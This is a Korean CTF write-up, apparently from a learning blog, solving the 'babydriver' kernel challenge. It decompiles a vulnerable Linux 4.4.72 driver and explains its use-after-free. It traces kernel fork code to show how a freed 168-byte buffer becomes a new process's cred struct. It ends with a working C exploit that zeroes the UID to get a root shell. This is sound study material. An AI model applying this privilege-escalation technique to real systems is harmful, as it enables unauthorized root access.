문제 파일
위 링크에서 문제 파일을 받았다.
문제 파일을 다운받고 압축을 풀어보면 3개의 파일이 있다.

먼저 제공해준 파일들로 커널을 실행해보면 ctf 유저 권한을 가진 쉘이 실행된다.
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
제공된 cpio 파일을 cpio 파일 해제 명령어를 사용해서 압축 해제를 시도하면 에러가 발생한다.

그래서 binwalk로 파일을 확인해보니 gzip 압축 파일이라고 해서 확장자를 .gz으로 변경해주고 압축 해제를 해줬다.

mv rootfs.cpio rootfs.gz
gzip -d rootfs.gz
압축 해제된 파일을 file 명령어로 확인해보면 이제야 cpio 파일이라고 출력된다. 그래서 root 디렉토리를 만들어주고 cpio -idv ../rootfs 명령어로 압축을 풀었다.

위처럼 커널의 파일 시스템을 추출했으니 분석해야하는 커널 모듈을 찾아보니 lib/modules/4.4.72/babydriver.ko 위치에 존재했다. 이제 모듈 분석으로 넘어가자.
IDA로 해당 모듈을 열어보면 여러가지 모듈 함수가 존재한다.

분석을 하다보면
__fentry__라고 적힌 함수가 보여서 찾아보니 특정 옵션을 켜주면mcount라는 함수가__fentry__로 변경된다. 둘이 하는 역할이 똑같고 문제 풀이할 때 별 영향이 없어서 그냥 무시하고 진행했다.
분석은 커널 모듈이 시작될 때 실행되는 함수인 babydriver_init() 함수부터 분석했다.
int __cdecl babydriver_init()
{
int v0; // edx
__int64 v1; // rsi
int v2; // ebx
class *v3; // rax
__int64 v4; // rax
if ( (int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
{
cdev_init(&cdev_0, &fops);
v1 = babydev_no;
cdev_0.owner = &_this_module;
v2 = cdev_add(&cdev_0, babydev_no, 1LL);
if ( v2 >= 0 )
{
v3 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
babydev_class = v3;
if ( v3 )
{
v4 = device_create(v3, 0LL, babydev_no, 0LL, "babydev");
v0 = 0;
if ( v4 )
return v0;
printk(&unk_351, 0LL);
class_destroy(babydev_class);
}
else
{
printk(&unk_33B, "babydev");
}
cdev_del(&cdev_0);
}
else
{
printk(&unk_327, v1);
}
unregister_chrdev_region(babydev_no, 1LL);
return v2;
}
printk(&unk_309, 0LL);
return 1;
}
가장 먼저 alloc_chrdev_region 함수를 호출해서 디바이스 번호를 동적으로 할당해준다.

alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev")
위 코드는 babydev_no 변수에 0이라는 번호를 할당한다.
그리고 이후 코드들은 기타 환경 설정들을 해준 뒤 종료한다. Binary exploit에서 흔히 보는 init() 함수와 비슷하다고 생각했다.
놓쳤던 내용 중에 중요한 부분이 있어서 추가..
이 문제를 풀면서 근본적인 궁금한 부분이 있었다. 바로 exploit 코드를 작성할때 사용하는 함수는 일반적인 read(), open() 같은 함수들인데 어째서 babyread(), babyopen() 같은 모듈의 함수들이 호출되는거지..?
해당 내용에 대해 찾아보니 cdev_init(&cdev_0, &fops); 이 부분에서 file_operations 구조체를 세팅해주면서 각 연산에 대해 콜백 함수들을 정의해준다. IDA에서 &fops를 확인해보면 아래와 같다.

구조체의 순서는 아래와 같고, 위 사진의 각 인자들을 순서를 비교해보면 얼추 매칭이 된다.
struct file_operations {
struct module *owner; // 모듈 소유자
loff_t (*llseek)(struct file *, loff_t, int); // 파일 위치 지정
ssize_t (*read)(struct file *, char __user *, size_t, loff_t *); // 읽기 함수
ssize_t (*write)(struct file *, const char __user *, size_t, loff_t *); // 쓰기 함수
ssize_t (*read_iter)(struct kiocb *, struct iov_iter *); // 읽기(비동기)
ssize_t (*write_iter)(struct kiocb *, struct iov_iter *); // 쓰기(비동기)
int (*iterate)(struct file *, struct dir_context *); // 디렉토리 순회
int (*iterate_shared)(struct file *, struct dir_context *); // 공유 디렉토리 순회
__poll_t (*poll)(struct file *, struct poll_table_struct *); // 폴링
long (*unlocked_ioctl)(struct file *, unsigned int, unsigned long); // IOCTL (사용자 모드)
long (*compat_ioctl)(struct file *, unsigned int, unsigned long); // IOCTL (호환 모드)
int (*mmap)(struct file *, struct vm_area_struct *); // 메모리 매핑
int (*open)(struct inode *, struct file *); // 파일 열기
int (*flush)(struct file *, fl_owner_t id); // 플러시
int (*release)(struct inode *, struct file *); // 파일 닫기
int (*fsync)(struct file *, loff_t, loff_t, int datasync); // 동기화
int (*fasync)(int, struct file *, int); // 비동기 동작
int (*lock)(struct file *, int, struct file_lock *); // 파일 잠금
ssize_t (*sendpage)(struct file *, struct page *, int, size_t, loff_t *, int); // 페이지 전송
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); // 메모리 공간 가져오기
int (*check_flags)(int); // 플래그 확인
int (*flock)(struct file *, int, struct file_lock *); // 파일 잠금
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int); // 스플라이스 쓰기
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); // 스플라이스 읽기
int (*setlease)(struct file *, long, struct file_lock **, void **); // 임대 설정
long (*fallocate)(struct file *file, int mode, loff_t offset, loff_t len); // 파일 공간 할당
void (*show_fdinfo)(struct seq_file *m, struct file *f); // FD 정보 표시
unsigned int (*mmap_supported_flags)(void); // mmap 지원 플래그
};
void __cdecl babydriver_exit()
{
device_destroy(babydev_class, babydev_no);
class_destroy(babydev_class);
cdev_del(&cdev_0);
unregister_chrdev_region(babydev_no, 1LL);
}
모듈이 종료될 때 호출되는 함수다. destroy, un~ 같은 단어로 보아 babydriver_init() 함수에서 설정해준 여러 값들을 해제해준다고 생각하고 넘어갔다.
// local variable allocation has failed, the output may be wrong!
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 65537 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n", 0x24000C0LL);
return 0LL;
}
else
{
printk(&unk_2EB, v3);
return -22LL;
}
}
전달받은 두번째 인자(command)가 65537이면 babydev_struct.device_buf를 kfree()함수로 해제해준다. 해당 구조체는 IDA에서 확인할 수 있다.

그리고 v4만큼 kmalloc을 해주는데, 두번째 인자로 0x24000을 전달해준다. 찾아보니 해당 값은 _kmalloc 호출에서 사용되는 메모리 할당 플래그라고 한다.
정리해보면 command가 65537이면 device_buf를 free하고, v4 인자 사이즈에 맞춰서 device_buf에 다시 malloc하고, device_buf_len을 v4로 설정하고 종료한다.
device_buf를 free하고 NULL로 초기화 해주지 않기 때문에 free 되고도 해당 변수에 chunk 주소가 계속 남아있는다.
int __fastcall babyopen(inode *inode, file *filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n", 0x24000C0LL);
return 0;
}
디바이스가 open 되면 실행되는 함수다.
device_buf에 64size의 chunk를 하나 할당해준다.
마찬가지로 device_buf_len에도 64를 넣어준다.
kmem_cache_alloc_trace함수는 slub캐시에서 slub object를 할당받는 함수
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
return v6;
}
return result;
}
device_buf가 존재하지 않으면 함수를 종료한다.
만약 v4(rdx)가 device_buf_len보다 크면 copy_to_user() 함수를 이용해 커널 영역의 데이터를 두번째 인자로 전달받은 유저 공간으로 copy한다.
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
return v6;
}
return result;
}
전달받은 세번째 인자가 device_buf_len보다 작은 경우 copy_from_user() 함수를 이용해 두번째 인자로 전달받은 유저 공간의 데이터를 커널 영역에 copy해온다.
int __fastcall babyrelease(inode *inode, file *filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n", filp);
return 0;
}
babyrelease() 함수는 디바이스를 close()할 경우 호출되는 함수다.
device_buf에 할당된 chunk를 해제해준다.
babyioctl() 함수와 다르게 babydev_sturct 구조체의 멤버들을 새로 저장하지 않아서, heap 할당을 관리하는 구조체가 해제된 포인터를 가르키게 됩니다.
dangling pointer?
해제된 메모리를 가르키는 포인터
UAF 트리거 방법
UAF & ROP 두가지 풀이 방법이 있었는데, 나는 UAF 취약점을 이용하여 creds 구조체 값을 overwrite 하는 방법으로 풀었다.
커널에서는 프로세스의 권한을 관리하기 위해서 creds라는 구조체를 사용한다. 해당 구조체에는 프로세스의 UID가 정의되어 있는 부분이 있어서, 해커가 제어할 수 있는 프로세스의 creds 구조체에 있는 UID를 0으로 바꾼다면 root 권한을 취득할 수 있다.
이 공격을 진행하기 위해서 fork() 함수를 사용해야 한다. 우선 유저단에서 fork()가 실행된 후 커널에서 어떤 함수들이 실행되는지 따라가보자.
// linux-4.4.72/kernel/fork.c:1798
long do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr)
{
return _do_fork(clone_flags, stack_start, stack_size,
parent_tidptr, child_tidptr, 0);
}
_do_fork()로 return
// linux-4.4.72/kernel/fork.c:1798
long _do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
unsigned long tls)
{
struct task_struct *p;
int trace = 0;
long nr;
/*
* Determine whether and which event to report to ptracer. When
* called from kernel_thread or CLONE_UNTRACED is explicitly
* requested, no event is reported; otherwise, report if the event
* for the type of forking is enabled.
*/
if (!(clone_flags & CLONE_UNTRACED)) {
if (clone_flags & CLONE_VFORK)
trace = PTRACE_EVENT_VFORK;
else if ((clone_flags & CSIGNAL) != SIGCHLD)
trace = PTRACE_EVENT_CLONE;
else
trace = PTRACE_EVENT_FORK;
if (likely(!ptrace_event_enabled(current, trace)))
trace = 0;
}
p = copy_process(clone_flags, stack_start, stack_size,
child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
/* --생략-- */
}
_do_fork() 함수에서는 copy_process() 함수를 통해 새로운 프로세스를 실행한다. copy_process() 함수가 어떤 동작을 하는지 보자.
// linux-4.4.72/kernel/fork.c:1268
static struct task_struct *copy_process(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *child_tidptr,
struct pid *pid,
int trace,
unsigned long tls,
int node)
{
int retval;
struct task_struct *p;
void *cgrp_ss_priv[CGROUP_CANFORK_COUNT] = {};
/* --생략-- */
retval = copy_creds(p, clone_flags);
if (retval < 0)
goto bad_fork_free;
/* --생략-- */
}
copy_creds()를 통해 생성된 프로세스에 creds를 입력한다. copy_creds() 함수로 가보자.
// linux-4.4.72/kernel/cred.c:322
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
struct cred *new;
int ret;
if (
#ifdef CONFIG_KEYS
!p->cred->thread_keyring &&
#endif
clone_flags & CLONE_THREAD
) {
p->real_cred = get_cred(p->cred);
get_cred(p->cred);
alter_cred_subscribers(p->cred, 2);
kdebug("share_creds(%p{%d,%d})",
p->cred, atomic_read(&p->cred->usage),
read_cred_subscribers(p->cred));
atomic_inc(&p->cred->user->processes);
return 0;
}
new = prepare_creds();
if (!new)
return -ENOMEM;
if (clone_flags & CLONE_NEWUSER) {
ret = create_user_ns(new);
if (ret < 0)
goto error_put;
}
#ifdef CONFIG_KEYS
/* new threads get their own thread keyrings if their parent already
* had one */
if (new->thread_keyring) {
key_put(new->thread_keyring);
new->thread_keyring = NULL;
if (clone_flags & CLONE_THREAD)
install_thread_keyring_to_cred(new);
}
/* The process keyring is only shared between the threads in a process;
* anything outside of those threads doesn't inherit.
*/
if (!(clone_flags & CLONE_THREAD)) {
key_put(new->process_keyring);
new->process_keyring = NULL;
}
#endif
atomic_inc(&new->user->processes);
p->cred = p->real_cred = get_cred(new);
alter_cred_subscribers(new, 2);
validate_creds(new);
return 0;
error_put:
put_cred(new);
return ret;
}
prepare_cred()를 통해 new라는 새로운 creds를 만든 후 p->cred = p->real_cred = get_cred(new);를 통해 프로세스에 생성된 creds를 넣는다. prepare_cred() 함수를 보자(거의 다 왔다).
//linux-4.4.72/kernel/cred.c:243
struct cred *prepare_creds(void)
{
struct task_struct *task = current;
const struct cred *old;
struct cred *new;
validate_process_creds();
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_creds() alloc %p", new);
old = task->cred;
memcpy(new, old, sizeof(struct cred));
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_group_info(new->group_info);
get_uid(new->user);
get_user_ns(new->user_ns);
#ifdef CONFIG_KEYS
key_get(new->session_keyring);
key_get(new->process_keyring);
key_get(new->thread_keyring);
key_get(new->request_key_auth);
#endif
#ifdef CONFIG_SECURITY
new->security = NULL;
#endif
if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
goto error;
validate_creds(new);
return new;
error:
abort_creds(new);
return NULL;
}
kmem_cache_alloc() 함수를 통하여 new라는 새로운 cred를 생성한다. 따라서 creds와 같은 크기의 메모리에 UAF 취약점을 이용하여 값을 쓸 수 있게 한 다음, fork()를 하면 babywrite()를 통해 새로운 프로세스의 creds에 유저단에서 값을 쓸 수 있게 된다.
// linux-4.4.72/kernel/cred.h:118
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
각 멤버들 사이즈를 더하면 총 168bytes가 나온다.
따라서 168만큼 할당한 청크에 대해서 UAF 트리거 후 fork()를 하여 creds를 할당받고, 생성된 creds의 UID를 0으로 덮어쓰면 된다. 필요한 권한들을 다 덮으려면 30bytes 정도면 충분하다.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
int main() {
int first_fd = open("/dev/babydev", O_RDWR);
int second_fd = open("/dev/babydev", O_RDWR);
ioctl(first_fd, 65537, 168);;
close(first_fd);
int pid = fork();
if(pid < 0) {
printf("ERROR");
exit(1);
} else if(pid == 0) {
char fake_cred[30] = {0};
write(second_fd, fake_cred, 28);
system("id");
system("cat flag");
}
close(second_fd);
}

맨날 커널 공부한다 말만 하다가 최근에 제대로 맘 먹고 커널 공부를 시작하고 처음으로 풀어본 CTF 커널 문제인데 생각보다 쉬우면서 어려웠다(?). 그래도 문제를 풀며 리눅스 커널 기초 지식이 어느정도 쌓인것 같아서 기분이 좋다. UAF로 문제 풀어보면서 ROP 풀이도 살짝 봤었는데 아직은 제가 건드릴 영역이 아닌것 같아서 나중을 기약했다..
이번 문제는 거의 푼다기 보다는 블로그 보면서 공부하는 수준으로 풀었지만 꾸준히 공부하다 보면 언젠가는 커널 One-day 분석도 쓱싹하고 0-day도 찾는 날이 올 것이라 생각한다.